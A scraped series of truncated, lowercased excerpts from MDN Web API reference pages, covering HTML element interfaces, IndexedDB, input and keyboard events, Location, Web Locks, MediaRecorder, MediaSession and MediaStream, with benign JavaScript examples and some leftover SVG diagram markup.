the usemap property of the htmlobjectelement interface returns a domstring that reflects the usemap html attribute, specifying a <map> element to use. syntax var string = htmlobjectelement.usemap; htmlobjectelement.usemap = string; value a domstring. specifications specification status comment html living standardthe definition of 'usemap' in that specification. living standard initial definition. ...
HTMLObjectElement.validationMessage - Web APIs
the validationmessage read-only property of the htmlobjectelement interface returns a domstring representing a localized message that describes the validation constraints that the control does not satisfy (if any). this is the empty string if the control is not a candidate for constraint validation (willvalidate is false), or it satisfies its constraints. syntax var string = htmlobjectelement.validationmessage; value a domstring. specifications specification status comment html living standardthe definition of 'validationmessage' in that specification. living standard initial definition. ...
HTMLObjectElement.width - Web APIs
the width property of the htmlobjectelement interface returns a domstring that reflects the width html attribute, specifying the displayed width of the resource in css pixels. syntax var string = htmlobjectelement.width; htmlobjectelement.width = string; value a domstring. specifications specification status comment html living standardthe definition of 'width' in that specification. living standard initial definition. ...
HTMLOptGroupElement - Web APIs
53" text-anchor="middle" alignment-baseline="middle">htmloptgroupelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmloptgroupelement.disabled is a boolean representing whether or not the whole list of children <option> is disabled (true) or not (false). htmloptgroupelement.label is a domstring representing the label for the group. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmloptgroupelement' in that specification. living standard html5the definition of 'htmloptgroupelement' in that specification. recommendation no ...
HTMLOptionsCollection - Web APIs
this object is returned only by the options property of select. ...
HTMLOrForeignElement.tabIndex - Web APIs
ppear. navigation proceeds from the lowest tabindex to the highest tabindex. elements that do not support the tabindex attribute or support it and assign tabindex to 0, in the order they appear. elements that are disabled do not participate in the tabbing order. values don't need to be sequential, nor must they begin with any particular value. they may even be negative, though each browser trims very large values. syntax element.tabindex = index; var index = element.tabindex; value index is an integer example const b1 = document.getelementbyid('button1'); b1.tabindex = 1; specifications specification status comment html living standardthe definition of 'tabindex' in that specification. living standard no change from document object model (dom)...
HTMLParagraphElement - Web APIs
" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlparagraphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlparagraphelement.align a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", "justify", and "center". methods no specific methods, inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlparagraphele...
HTMLQuoteElement - Web APIs
"#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlquoteelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlquoteelement.cite is a domstring reflecting the cite html attribute, containing a url for the source of the quotation. methods no specific method; inherits properties from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlquoteelement' in that specification. living standard html5the definition of 'htmlquoteelement' in...
HTMLSelectElement.item() - Web APIs
var item = collection.item(index); var item = collection[index]; parameters index is an unsigned long. return value item is a htmloptionelement. examples html <form> <select id="myformcontrol" type="textarea"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript // returns the htmloptionelement representing #o2 elem1 = document.forms[0]['myformcontrol'][1]; specifications specification status comment html living standardthe definition of 'htmlselectelement.item()' in that specification. living standard no change since the latest snapshot, html5. html5the definition of 'htmlselectelement.item()' in that specification. recommendation initial definition, snapshot of html living sta...
HTMLSelectElement.setCustomValidity() - Web APIs
the htmlselectelement.setcustomvalidity() method sets the custom validity message for the selection element to the specified message. use the empty string to indicate that the element does not have a custom validity error. syntax selectelt.setcustomvalidity(string); parameters string is the domstring containing the error message. specifications specification status comment html living standardthe definition of 'htmlselectelement.setcustomvalidity()' in that specification. living standard no change since the latest snapshot, html5. html5the definition of 'htmlselectelement.setcustomvalidity()' in that specification. recommendation initial definition, snapshot of html living standard ...
HTMLSlotElement: slotchange event - Web APIs
bubbles yes cancelable no interface event event handler property none in order to trigger a slotchange event, one has to set or remove the slot attribute. ...
HTMLSlotElement - Web APIs
methods htmlslotelement.assignednodes() returns a sequence of the nodes assigned to this slot, and if the flatten option is set to true, the assigned nodes of any other slots that are descendants of this slot. if no assigned nodes are found, it returns the slot's fallback content. htmlslotelement.assignedelements() returns a sequence of the elements assigned to this slot (and no other nodes). ...
HTMLStyleElement - Web APIs
stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlstyleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements linkstyle. htmlstyleelement.media is a domstring representing the intended destination medium for style information. htmlstyleelement.type is a domstring representing the type of style being applied by this statement. htmlstyleelement.disabled is a boolean value representing whether or not the stylesheet is disabled (true) or not (false). linkstyle.sheet read only returns the stylesheet object associated with the given element, or n...
HTMLTableCaptionElement - Web APIs
"#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecaptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltablecaptionelement.align is a domstring which represents an enumerated attribute indicating alignment of the caption with respect to the table. methods no specific method; inherits properties from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmltablecaptionelement' in that specification. living standard no change from html5. ...
HTMLTableElement.align - Web APIs
the htmltableelement.align property represents the alignment of the table. syntax htmltableelement.align = alignment; var alignment = htmltableelement.align; parameters alignment domstring with one of the following values: left center right example // set the alignmnet of a table var t = document.getelementbyid('tablea'); t.align = 'center'; specification w3c dom 2 html specification htmltableelement .align. ...
HTMLTableElement.cellSpacing - Web APIs
ould instead use the css border-spacing property, the obsolete htmltableelement interface's cellspacing property represents the spacing around the individual <th> and <td> elements representing a table's cells. any two cells are separated by the sum of the cellspacing of each of the two cells. syntax htmltableelement.cellspacing = spacing; var spacing = htmltableelement.cellspacing; value a domstring which is either a number of pixels (such as "10") or a percentage value (like "10%"). example this example sets cell spacing for a given table to 10 pixels. var t = document.getelementbyid('tablea'); t.cellspacing = "10"; specification w3c dom 2 html specification htmltableelement .cellspacing. ...
HTMLTimeElement - Web APIs
f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltimeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltimeelement.datetime is a domstring that reflects the datetime html attribute, containing a machine-readable form of the element's date and time value. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmltimeelement' in that specification. living standard html 5.1the defini...
HTMLTitleElement - Web APIs
"#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltitleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltitleelement.text is a domstring representing the text of the document's title. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmltitleelement' in that specification. living standard html 5.1the definition of 'htmltitleelement' in that specification. recommendation ...
HTMLTrackElement.src - Web APIs
the htmltrackelement.src property reflects the value of the <track> element's src attribute, which indicates the url of the text track's data. syntax var texttrackurl = htmltrackelement.src; value a domstring object containing the url of the text track data. example // coming soon specifications specification status comment html living standardthe definition of 'htmltrackelement.src' in that specification. living standard no change from html5 html5the definition of 'htmltrackelement.src' in that specification. recommendation initial definition. ...
HTMLUListElement - Web APIs
f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlulistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlulistelement.type is a domstring value reflecting the type and defining the kind of marker to be used to display. the values are browser dependent and have never been standardized. htmlulistelement.compact is a boolean indicating that spacing between list items should be reduced. this property reflects the compact attribute only, it doesn't consider the line-height css property used for that behavior in modern pages. ...
HTMLVideoElement.videoHeight - Web APIs
see about intrinsic width and height for more details. syntax height = htmlvideoelement.videoheight; value an integer value specifying the intrinsic height of the video in css pixels. if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither video nor poster frame size information is yet available. ...
HTMLVideoElement.videoWidth - Web APIs
see about intrinsic width and height for more details. syntax width = htmlvideoelement.videowidth; value an integer value specifying the intrinsic width of the video in css pixels. if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither video nor poster frame size information is yet available. ...
File drag and drop - Web APIs
shows how to write the name of each dragged file to the console. in a real application, an application may want to process a file using the file api. note that in this example, any drag item that is not a file is ignored. function drophandler(ev) { console.log('file(s) dropped'); // prevent default behavior (prevent file from being opened) ev.preventdefault(); if (ev.datatransfer.items) { // use datatransferitemlist interface to access the file(s) for (var i = 0; i < ev.datatransfer.items.length; i++) { // if dropped items aren't files, reject them if (ev.datatransfer.items[i].kind === 'file') { var file = ev.datatransfer.items[i].getasfile(); console.log('... file[' + i + '].name = ' + file.name); } } } else { // use datatran...
HashChangeEvent.newURL - Web APIs
the newurl read-only property of the hashchangeevent interface returns the new url to which the window is navigating. syntax let neweventurl = event.newurl; value a domstring. example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.newurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: newurl' in that specification. living standard ...
HashChangeEvent.oldURL - Web APIs
the oldurl read-only property of the hashchangeevent interface returns the previous url from which the window was navigated. syntax let oldeventurl = event.oldurl; value a domstring. example window.addeventlistener('hashchange', function(event) { console.log('hash changed from ' + event.oldurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: oldurl' in that specification. living standard ...
HashChangeEvent - Web APIs
check the location.hash at a regular interval. here is a version that allows only one handler to be bound to the onhashchange property: ;(function(window) { // exit if the browser implements that event if ( "onhashchange" in window.document.body ) { return; } var location = window.location, oldurl = location.href, oldhash = location.hash; // check the location hash on a 100ms interval setinterval(function() { var newurl = location.href, newhash = location.hash; // if the hash has changed and a handler has been bound... if ( newhash != oldhash && typeof window.onhashchange === "function" ) { // execute the handler window.onhashchange({ type: "hashchange", oldurl: oldurl, newurl: newurl }); oldurl =...
IDBIndex.locale - Web APIs
Web › API › IDBIndex › locale
ty of the idbindex interface returns the locale of the index (for example en-us, or pl) if it had a locale value specified upon its creation (see createindex()'s optionalparameters.) note that this property always returns the current locale being used in this index, in other words, it never returns "auto". syntax var myindex = objectstore.index('index'); console.log(myindex.locale); value a domstring. example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. t...
IDBOpenDBRequest - Web APIs
indow.indexeddb.open line above // it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified...
Browser storage limits and eviction criteria - Web APIs
deletes data if necessary. so if your hard drive is 500 gb, then the total storage for a browser is 250 gb. if this is exceeded, a process called origin eviction comes into play, deleting an entire origin's worth of data until the storage amount goes under the limit again. there is no trimming effect put in place to delete parts of origins — deleting one database of an origin could cause problems with inconsistency. there's also another limit called group limit — this is defined as 20% of the global limit, but it has a minimum of 10 mb and a maximum of 2 gb. each origin is part of a group (group of origins). there's one group for each etld+1 domain. for example: mozilla.org — group1, origin1 www.mozilla.org — group1, origin2 joe.blogs.mozilla.org — group1, origin3 firefox.c...
IndexedDB API - Web APIs
ote: this feature is available in web workers. note: indexeddb api is powerful, but may seem too complicated for simple cases. if you'd prefer a simple api, try libraries such as localforage, dexie.js, zangodb, pouchdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more programmer-friendly. key concepts and usage indexeddb is a transactional database system, like an sql-based rdbms. however, unlike sql-based rdbmses, which use fixed-column tables, indexeddb is a javascript-based object-oriented database. indexeddb lets you store and retrieve objects that are indexed with a key; any objects supported by the structured clone algorithm can be stored. you need to specify the database schema, open a connection to your database, and then retrieve and update data within a series o...
InputEvent() - Web APIs
inputeventinitoptional is a inputeventinit dictionary, having the following fields: inputtype: (optional) a string specifying the type of change for editible content such as, for example, inserting, deleting, or formatting text. data: (optional) a string containing characters to insert. this may be an empty string if the change doesn't insert text (such as when deleting characters, for example). ...
InputEvent.data - Web APIs
Web › API › InputEvent › data
examples in the following simple example we've set up an event listener on the input event so that when any change is made to the contents of the <input> element (either by typing or pasting), the text that was added is retrieved via the inputevent.data property and reported in the paragraph below the input. ...
InputEvent.inputType - Web APIs
there are many possible values, such as inserttext, deletecontentbackward, insertfrompaste, and formatbold. for a complete list of the available input types, see the attributes section of the input events level 1 spec. ...
InputEvent - Web APIs
font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">inputevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor inputevent() creates an inputevent object. properties this interface inherits properties from its parents, uievent and event. inputevent.dataread only returns a domstring with the inserted characters. this may be an empty string if the change doesn't insert text (such as when deleting characters, for example). inputevent.datatransferread only returns a datatransfer object containing information about richtext or plaintext data being added to or removed from editable content. inputevent.inputtyperead only returns the type of change for editable content s...
installChrome - Web APIs
he theme somust match exactly the name in the internal manifest.rdf file. returns a boolean value indicating false if the software install feature has been turned off, and true if it's on. note that this return value does not indicate anything about the success of the installation. description installchrome is a special method for installing new chrome in netscape 6 and mozilla. the method performs a simplified installation of language packs or netscape 6/mozilla skins, and saves you the trouble of writing separate installation scripts in the xpi files or using the more sophisticated methods of the install and file objects. ...
IntersectionObserver - Web APIs
serverentry objects for all observed targets. intersectionobserver.unobserve() tells the intersectionobserver to stop observing a particular target element. examples var intersectionobserver = new intersectionobserver(function(entries) { // if intersectionratio is 0, the target is out of view // and we do not need to do anything. if (entries[0].intersectionratio <= 0) return; loaditems(10); console.log('loaded new items'); }); // start observing intersectionobserver.observe(document.queryselector('.scrollerfooter')); specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification. working draft ...
Timing element visibility with the Intersection Observer API - Web APIs
arted the time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked. totalviewtime the total number of milliseconds the ad has been visible. these are accessed through each ad's htmlelement.dataset attribute, which provides a domstringmap mapping each custom attribute's name to its value. the values are strings, but we can convert those to numbers easily enough—in fact, javascript generally does it automatically, although we'll have one instance where we have to do it ourselves. we start by fetching the time at which the ad's previous visibility status check time (adbox.dataset.lastviewstarted) into a local variable nam...
KeyboardEvent: code values - Web APIs
the reason is that some browsers choose to interpret physical keys differently, there are some differences in which keys map to which codes. these tables show those variations when known. code values code values on windows this table shows the windows scan codes representing keys and the keyboardevent.code values which correspond to those hardware keys. only keys which generate scan codes on windows are listed. ...
KeyboardEvent.metaKey - Web APIs
note: on macintosh keyboards, this is the ⌘ command key. on windows keyboards, this is the windows key (⊞ windows). at least as of firefox 48, the ⊞ windows key is not considered the "meta" key. keyboardevent.metakey is false when the ⊞ windows is pressed. ...
KeyframeEffect.target - Web APIs
the target property of a keyframeeffect interface represents the element or pseudo-element being animated. it may be null for animations that do not target a specific element. it performs as both a getter and a setter, except with animations and transitions generated by css. syntax var targetelement = document.getelementbyid("elementtoanimate"); var keyframes = new keyframeeffect( targetelement, keyframeblock, timingoptions ); // returns #elementtoanimate keyframes.target; // assigns keyframes a new target keyframes.target = newtargetelement; value an element, csspseudoelement, or null. examples in the follow the white rabbit example, whiterabbit sets the target element to be animated: var whiterabbit = document.getelementbyid("rabbit"); var rabbitdownkeyframes = new ...
Location: ancestorOrigins - Web APIs
you can use location.ancestororigins in the script for a document to determine, for example, whenever the document is being framed by a site which you don’t expect it to be framed by. you can also use it to vary the behavior of the document based on what site or list of sites is framing it. ...
Location: assign() - Web APIs
Web › API › Location › assign
a domexception of the security_error type is thrown. this happens if the origin of the script calling the method is different from the origin of the page originally described by the location object, mostly when the script is hosted on a different domain. if the provided url is not valid, a domexception of the syntax_error type is thrown. syntax location.assign(url); parameters url is a domstring containing the url of the page to navigate to. example // navigate to the location.reload article window.location.assign('/docs/web/api/location/reload'); specifications specification status comment html living standardthe definition of 'location.assign()' in that specification. living standard no change from html5. html5the definition of 'location...
Location: replace() - Web APIs
Web › API › Location › replace
a domexception of the security_error type is thrown. this happens if the origin of the script calling the method is different from the origin of the page originally described by the location object, mostly when the script is hosted on a different domain. if the provided url is not valid, a domexception of the syntax_error type is thrown. syntax object.replace(url); parameters url is a domstring containing the url of the page to navigate to. examples // navigate to the location.reload article by replacing this page window.location.replace('/docs/web/api/location.reload'); specifications specification status comment html living standardthe definition of 'location.replace()' in that specification. living standard no change from html5. html5t...
Locks.name - Web APIs
Web › API › Lock › name
lock is requested. the name is selected by the developer to represent an abstract resource for which use is being coordinated across multiple tabs, workers, or other code within the origin. for example, if only one tab of a web application should be synchronizing network resources with an offline database, it could use a lock name such as "net_db_sync". syntax var name = lock.name value a domstring. example the following examples show how the name property passed in the call to lockmanager.request(). lockmanager is the object returned by navigator.locks. navigator.locks.request("net_db_sync", show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications spec...
LockManager.request() - Web APIs
available: true}, async lock => { if (!lock) { // the lock was not granted - get out fast. return; } // the lock was granted, and no other running code in this origin is holding // the 'my_res_lock' lock until this returns. }); signal example to only wait for a lock for a short period of time, use the signal option. const controller = new abortcontroller(); // wait at most 200ms. settimeout(() => controller.abort(), 200); try { await navigator.locks.request('my_resource', {signal: controller.signal}, async lock => { // the lock was acquired! }); } catch (ex) { if (ex.name === 'aborterror') { // the request aborted before it could be granted. } } specifications specification status comment web locks apithe definition of 'request...
LockedFile.readAsArrayBuffer() - Web APIs
s not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the readasarraybuffer method is used to read the content of the lockedfile object and provide the result of that reading as an arraybuffer. in many ways, it performs like the filereader.readasarraybuffer() method. the reading operation starts at the position given by the lockedfile.location property. syntax var request = instanceoflockedfile.readasarraybuffer(size); parameters size a number representing the number of bytes to read in the file. return a filerequest object to handle the success or failure of the operation. in case of success, the req...
LockedFile.readAsText() - Web APIs
tandard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the readastext method is used to read the content of the lockedfile object and provide the result of that reading as a string. in many ways, it performs like the filereader.readastext() method. the reading operation starts at the position given by the lockedfile.location property. syntax var request = instanceoflockedfile.readastext(size[, encoding]); parameters size a number representing the number of bytes to read in the file. encoding optional a string indicating the encoding to use for the returned data. by default, utf-8 is assumed...
Long Tasks API - Web APIs
motivation the experimental long tasks api gives us visibility into tasks that take 50 milliseconds or more. the 50 ms threshold comes from the rail model, in particular the "response: process events in under 50 ms" section. tasks that block the main thread for 50 ms or more cause, among other issues: delayed "time to interactive". high/variable input latency. high/variable event handling latency. janky animations and scrolling. concepts some key terms or ideas that are utilized by the long tasks api. long task any uninterrupted period where the main ui thread is busy for 50 ms or longer. common examples include: long running event handlers. expensive reflows and other re-renders. work the browser does between different turns of the event loop that exceeds 50 ms. ...
MathMLElement - Web APIs
properties, but inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaCapabilities - Web APIs
the mediacapabilities interface of the media capabilities api provides information about the decoding abilities of the device, system and browser. the api can be used to query the browser about the decoding abilities of the device based on codecs, profile, resolution, and bitrates. the information can be used to serve optimal media streams to the user and determine if playback should be smooth and power efficient. the information is accessed through the mediacapabilities property of the navigator interface. methods mediacapabilities.encodinginfo() when passed a valid media configuration, it returns a promise with information as to whether the media type is supported, and whether encoding such media would be smooth and power efficient. mediacapabilities.decodinginfo() when passed ...
MediaDeviceInfo.label - Web APIs
the label readonlyinline property of the mediadeviceinfo interface returns a domstring, that is a label describing this device (for example "external usb webcam"). only available during active mediastream use, or when persistent permissions have been granted. syntax var label = mediadeviceinfo.label; value a domstring which describes the media device. for security reasons, the label is always an empty string ("") if the user has not obtained permission to use at least one media device, either by starting a stream from the microphone or camera, or by persistent permissions being granted. specifications specification status comment media capture and streamsthe definition of 'label' in that specification. candidate recommendation initial definition. ...
MediaDevices: devicechange event - Web APIs
candidate recommendation ...
MediaDevices.getDisplayMedia() - Web APIs
mediastream. since getdisplaymedia() requires a video track, the returned stream will have one even if no video track is expressly requested by the constraints object. return value a promise that resolves to a mediastream containing a video track whose contents come from a user-selected screen area, as well as an optional audio track. note: browser support for audio tracks varies, both in terms of whether or not they're supported at all by the media recorder and in terms of the which audio source or sourcoes are supported. check the compatibility table for details for each browser. exceptions rejections of the returned promise are made by passing a domexception error object to the promise's failure handler. possible errors are: aborterror an error or failure that doesn't match an...
MediaDevices.getSupportedConstraints() - Web APIs
candidate recommendation initial definition. ...
keySystem - Web APIs
the mediakeysystemaccess.keysystem read-only property returns a domstring identifying the key system being used. syntax var keysystem = mediakeysystemaccess.keysystem; specifications specification status comment encrypted media extensionsthe definition of 'keysystem' in that specification. recommendation initial definition ...
MediaKeySystemAccess - Web APIs
the mediakeysystemaccess interface of the encryptedmediaextensions api provides access to a key system for decryption and/or a content protection provider. you can request an instance of this object using the navigator.requestmediakeysystemaccess() method. properties mediakeysystemaccess.keysystem read only returns a domstring identifying the key system being used. methods mediakeysystemaccess.createmediakeys() returns a promise that resolves to a new mediakeys object. mediakeysystemaccess.getconfiguration() returns a mediakeysystemconfiguration object with the supported combination of configuration options. specifications specification status comment encrypted media extensionsthe definition of 'mediakeysystemaccess' in that specification. recom...
MediaList.mediaText - Web APIs
each one is separated by a comma, for example screen and (min-width: 480px), print. if you wish to set new media queries on the document, the string value must have the different queries separated by commas, e.g. screen, print. note that the medialist is a live list; updating the list via mediatext will immediately update the behavior of the document. ...
MediaQueryList.media - Web APIs
examples this example runs the media query (max-width: 600px) and displays the value of the resulting mediaquerylist's media property in a <span>. javascript let mql = window.matchmedia('(max-width: 600px)'); document.queryselector(".mq-value").innertext = mql.media; the javascript code simply passes the media query to match into matchmedia() to compile it, then sets the <span>'s innertext to the value of the result's media property. ...
MediaQueryList - Web APIs
a queries change, instead of polling the values periodically, and allows you to programmatically make changes to a document based on media query status. properties the mediaquerylist interface inherits properties from its parent interface, eventtarget. matchesread only a boolean that returns true if the document currently matches the media query list, or false if not. mediaread only a domstring representing a serialized media query. methods the mediaquerylist interface inherits methods from its parent interface, eventtarget. addlistener() adds to the mediaquerylist a callback which is invoked whenever the media query status—whether or not the document matches the media queries in the list—changes. this method exists primarily for backward compatibility; if possible, you ...
MediaQueryListEvent.MediaQueryListEvent() - Web APIs
matches: a boolean representing the media query status — true if it matches, false if not. ...
MediaQueryListEvent.media - Web APIs
the media read-only property of the mediaquerylistevent interface is a domstring representing a serialized media query. syntax var media = mediaquerylistevent.media; value a domstring representing a serialized media query. examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specificatio...
MediaQueryListEvent - Web APIs
rylist.addlistener() call. constructor mediaquerylistevent() creates a new mediaquerylistevent instance. properties the mediaquerylistevent interface inherits properties from its parent interface, event. mediaquerylistevent.matchesread only a boolean that returns true if the document currently matches the media query list, or false if not. mediaquerylistevent.mediaread only a domstring representing a serialized media query. methods the mediaquerylistevent interface inherits methods from its parent interface, event. examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style...
MediaRecorder.mimeType - Web APIs
codec that is not supported by a given media container, the resulting file may not work reliably if at all when you try to play it back. see our media type and format guide for information about container and codec support across browsers. note: the term "mime type" is officially considered to be historical; these strings are now officially known as media types. mdn web docs content uses the terms interchangeably. syntax var mimetype = mediarecorder.mimetype value the mime media type which describes the format of the recorded media, as a domstring. this string may include the codecs parameter, giving details about the codecs and the codec configurations used by the media recorder. the media type strings are standardized by the internet assigned numbers authority (iana). for their off...
MediaRecorder.onerror - Web APIs
working draft initial definition ...
MediaRecorder.pause() - Web APIs
when a mediarecorder object’s pause()method is called, the browser queues a task that runs the below steps: if mediarecorder.state is "inactive", raise a dom invalidstate error and terminate these steps. if not, continue to the next step. set mediarecorder.state to "paused". stop gathering data into the current blob, but keep it available so that recording can be resumed later on. raise a pause event. syntax mediarecorder.pause() return value undefined. exceptions invalidstateerror the mediarecorder is currently "inactive"; you can't pause recording if it's not active. ...
MediaRecorderErrorEvent.error - Web APIs
working draft initial specification. ...
MediaSession.setPositionState() - Web APIs
on.setpositionstate(statedict); parameters statedict optional an object conforming to the mediapositionstate dictionary, providing updated information about the playback position and speed of the document's ongoing media. if the object is empty, the existing playback state information is cleared. return value undefined. exceptions typeerror this error can occur in an array of circumstances: the specified mediapositionstate object's duration is missing, negative, or null. position is missing or null, or is either negative or greater than duration. the playbackrate is zero. example in this example, a player for a non-standard media file format, written in javascript, uses setinterval() to establish a callback which fires once per second to refresh the position i...
Media Session action types - Web APIs
iondetails property fastseek property with a value of true. this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance. skipad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. description a media session action may be generated by any media session action source; these sources include anything from ui widgets within the browser itself to media control keys on the user's keyboard to buttons on the user's headset or earbuds. examples adding action handlers this example implements seek forward and backward actions for an audio ...
MediaSessionActionDetails - Web APIs
iondetails property fastseek property with a value of true. this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance. skipad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. description a media session action may be generated by any media session action source; these sources include anything from ui widgets within the browser itself to media control keys on the user's keyboard to buttons on the user's headset or earbuds. examples adding action handlers this example implements seek forward and backward actions for an audio ...
MediaSource.addSourceBuffer() - Web APIs
the addsourcebuffer() method of the mediasource interface creates a new sourcebuffer of the given mime type and adds it to the mediasource's sourcebuffers list. the new sourcebuffer is also returned. syntax var sourcebuffer = mediasource.addsourcebuffer(mimetype); parameters mimetype a domstring specifying the mime type of the sourcebuffer to create and add to the mediasource. return value a sourcebuffer object representing the new source buffer that has been created and added to the media source. exceptions invalidaccesserror the value specified for mimetype is an empty string rather than a valid mime type. invalidstateerror the mediasource is not in the "open" readystate. notsupportederror the specified mimetype isn't supported by the user agent, or is not compatible wi...
MediaSource.readyState - Web APIs
e current mediasource. the three possible values are: closed: the source is not currently attached to a media element. open: the source is attached to a media element and ready to receive sourcebuffer objects. ended: the source is attached to a media element but the stream has been ended via a call to mediasource.endofstream(). syntax var myreadystate = mediasource.readystate; value a domstring. example the following snippet is from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeven...
MediaStream() - Web APIs
ed tracks are added to the new stream. otherwise, the stream has no tracks. syntax newstream = new mediastream(); newstream = new mediastream(stream); newstream = new mediastream(tracks[]); parameters stream a different mediastream object whose tracks are added to the newly-created stream automatically. the tracks are not removed from the original stream, so they're shared by the two streams. tracks an array of mediastreamtrack objects, one for each track to add to the stream. return value a newly-created mediastream object, either empty, or containing the tracks provided, if any. specifications specification status comment media capture and streamsthe definition of 'mediastream' in that specification. candidate recommendation ...
active - Web APIs
led, a button on the page is updated based on whether or not the stream is currently active. var promise = navigator.mediadevices.getusermedia({ audio: true, video: true }); promise.then(function(stream) { var startbtn = document.queryselector('#startbtn'); startbtn.disabled = stream.active; };) specifications specification status comment media capture and streamsthe definition of 'active' in that specification. candidate recommendation initial definition. ...
MediaStream.addTrack() - Web APIs
o the stream. the track is specified as a parameter of type mediastreamtrack. if the specified track is already in the stream's track set, this method has no effect. syntax stream.addtrack(track); parameters track a mediastreamtrack to add to the stream. return value undefined example specifications specification status comment media capture and streamsthe definition of 'addtrack()' in that specification. candidate recommendation initial specification. ...
MediaStream: addtrack event - Web APIs
candidate recommendation ...
MediaStream.clone() - Web APIs
